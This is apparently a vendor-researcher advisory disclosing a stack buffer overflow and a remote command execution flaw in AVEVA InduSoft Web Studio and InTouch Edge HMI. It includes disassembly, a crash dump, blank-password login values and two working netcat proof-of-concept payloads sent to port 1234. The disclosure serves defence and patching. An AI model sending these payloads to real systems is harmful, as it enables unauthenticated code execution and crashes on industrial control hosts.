While developing a Nessus plugin to detect CVE-2018-10620, Tenable found multiple vulnerabilities in AVEVA InduSoft Web Studio and InTouch Edge HMI.
Stack Buffer Overflow
There is a function in UniSoft.dll that takes a user-supplied file name and uses it to form a full file path. If the file name is already a full path, it will be copied to an output buffer of fixed size. Otherwise, the file name is concatenated to the same output buffer already containing a base directory (i.e., <PRODUCT_INSTALL_DIR>\bin). The vulnerable function does not check the length of the user-specified file name and blindly copies it to a fixed-size buffer:
.text:101336F9 append_filename: ; CODE XREF: sub_10133690+5Dj
.text:101336F9 push edi ; buffer overflow:
.text:101336F9 ; user-supplied filename is concatenated to
.text:101336F9 ; a fixed-size buffer
.text:101336FA push esi ; pOutFullPath
.text:101336FB call ebx ; wcscat
.text:101336FD jmp short loc_10133707
.text:101336FF ; ---------------------------------------------------------------------------
.text:101336FF
.text:101336FF copy_filename: ; CODE XREF: sub_10133690+39j
.text:101336FF ; sub_10133690+40j
.text:101336FF push edi ; buffer overflow:
.text:101336FF ; user-supplied filename is copied to a
.text:101336FF ; fixed-size buffer
.text:10133700 push esi ; pOutFullPath
.text:10133701 call ds:wcscpy
When the vulnerable function is invoked as a result of processing a command 67, function 15 message to the server listening on the default port 1234, a stack buffer (0x600ish bytes) is used as the output buffer to store the full file path. An attacker can specify an overly long file name in the message to overflow a stack buffer. When the Main Password is not set in the project or a Guest account with a blank password is configured in the project, this vulnerability could allow an unauthenticated, remote attacker to cause a stack buffer overflow on the remote host. The following is a proof of concept for when the Main Password is not set:
cat <(echo -n '02311031103810321032030245000000000000000000000000fffeff0852006500730065007200760065006400fffeff0852006500730065007200760065006400fffeff00fffeff314400690073007400720069006200750074006500640054006f006b0065006e007c0032003300390033006200660038003500350037006100330062006400610038006600330031003900370038003700370061003700640031006600350062006500fffeff204800480048004800480048004800480048004800480048004800480048004800480048004800480048004800480048004800480048004800480048004800480000000000030243313509'$(python -c "print '41'*0x500")'09736f6d655f737472093130300a03' | xxd -r -p) - | nc <target> 1234
Crash dump:
0:017> g
STATUS_STACK_BUFFER_OVERRUN encountered
(fb0.c54): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=64282b64 ecx=7661e4f4 edx=0d9de3a9 esi=00000000 edi=04d9e1a0
eip=7661e371 esp=0d9de5f0 ebp=0d9de66c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
7661e371 cc int 3
0:017> kb
# ChildEBP RetAddr Args to Child
00 0d9de66c 6cf000f1 64282b64 0d9de688 64241219 kernel32!UnhandledExceptionFilter+0x5f
01 0d9de678 64241219 64282b64 00000001 0d9de9b8 MSVCR110!__crtUnhandledException+0x14
WARNING: Stack unwind information not available. Following frames may be wrong.
02 0d9de688 64241330 64282b64 00000000 0d9de7e4 UNISOFT!_StudioSetLanguage__+0x2055
03 0d9de9b8 6421e96e 00000044 00000000 00000000 UNISOFT!_StudioSetLanguage__+0x216c
04 0d9df040 00410041 00410041 00410041 00410041 UNISOFT!MTCheckFileFunctionsTimeout+0x152
05 0d9df044 00410041 00410041 00410041 00410041 0x410041
06 0d9df048 00410041 00410041 00410041 00410041 0x410041
07 0d9df04c 00410041 00410041 00410041 00410041 0x410041
08 0d9df050 00410041 00410041 00410041 00410041 0x410041
09 0d9df054 00410041 00410041 00410041 00410041 0x410041
Note that the Technical Reference for IWS SP1 mentions 'By default, "Guest" has no password', and the Main Password is optional. To login as Guest with a blank password, the attacker sends a command 69 message with username='Guest', credentials ='c72e49742b20b3672482f70c17f95902'. To login with a blank Main Password, the attacker sends a command 69 message with username='DistributedToken|2393bf8557a3bda8f3197877a7d1f5be'.
Also, note that a command 67, function 15 message only requires permission 1 to execute. So it seems low-privileged users can also trigger the stack buffer overflow.
Remote Command Execution
The MTCheckFileFunctionsTimeout function in UniSoft.dll does not check the user-supplied executable file name that is used to create a process. If the file name is already a full path, it will be passed as the lpCommandLine parameter to a CreateProcessW call. Otherwise, the file name is appended to <PRODUCT_INSTALL_DIR>\bin\ and the combined full path is then passed to CreateProcessW. This function can be invoked via a 'command 67, function 15' message sent to the server listening on the default port 1234. An attacker can specify a full executable file path or using path traversal (i.e., ..\..\..\..\..\..\..\C:\Windows\System32\calc.exe) to run arbitrary OS commands remotely:
.text:1016E850 push '"' ; opening quote of the double-quoted
.text:1016E850 ; full exe path
.text:1016E852 pop eax
.text:1016E853 mov [ebp+var_commandline], ax
.text:1016E85A use user-supplied file name to form a full path.
.text:1016E85A if the file name is already a full path, copy it to
.text:1016E85A the output buffer. Otherwise, append it to
.text:1016E85A \bin\ then copy
.text:1016E85A the combined string to the output buffer.
.text:1016E85A lea eax, [ebp+var_fullpath] ; output buffer
.text:1016E860 push eax ; wchar_t *
.text:1016E861 push esi ; user-supplied file name
.text:1016E862 call _APUniSoftBinPath@8 ; APUniSoftBinPath(x,x)
.text:1016E867 lea eax, [ebp+var_commandline]
.text:1016E86D push offset asc_101D49C4 ; closing quote of the double-quoted
.text:1016E86D ; full exe path
.text:1016E872 push eax
.text:1016E873 call ds:wcscat
[...]
.text:1016E8C7 lea eax, [ebp+var_commandline] ; Remote command execution:
.text:1016E8C7 ; user-specified exe can be passed to
.text:1016E8C7 ; CreateProcessW()
.text:1016E8CD push eax ; lpCommandLine
.text:1016E8CE push edi ; lpApplicationName
.text:1016E8CF call ds:CreateProcessW
Based on the error message 'FileFunctions.exe could not be executed!!!' in UniSoft.dll, it seems the function intends to execute FileFunctions.exe under <PRODUCT_INSTALL_DIR>\bin\. When the Main Password is not set in the project or a Guest account with a blank password is configured in the project, the MTCheckFileFunctionsTimeout function could allow an unauthenticated remote attacker to run arbitrary commands on the remote host. Below is a proof of concept that executes calc.exe for a project with no main password:
cat <(echo -n '02311031103810321032030245000000000000000000000000fffeff0852006500730065007200760065006400fffeff0852006500730065007200760065006400fffeff00fffeff314400690073007400720069006200750074006500640054006f006b0065006e007c0032003300390033006200660038003500350037006100330062006400610038006600330031003900370038003700370061003700640031006600350062006500fffeff204800480048004800480048004800480048004800480048004800480048004800480048004800480048004800480048004800480048004800480048004800480000000000030243313509433a5c57696e646f77735c53797374656d33325c63616c632e65786509736f6d655f737472093130300a03' | xxd -r -p) - | nc <target> 1234
While Aveva didn't directly patch this path traversal they did mitigate it by enabling stronger authentication by default amongst other things. See their advisory for me details.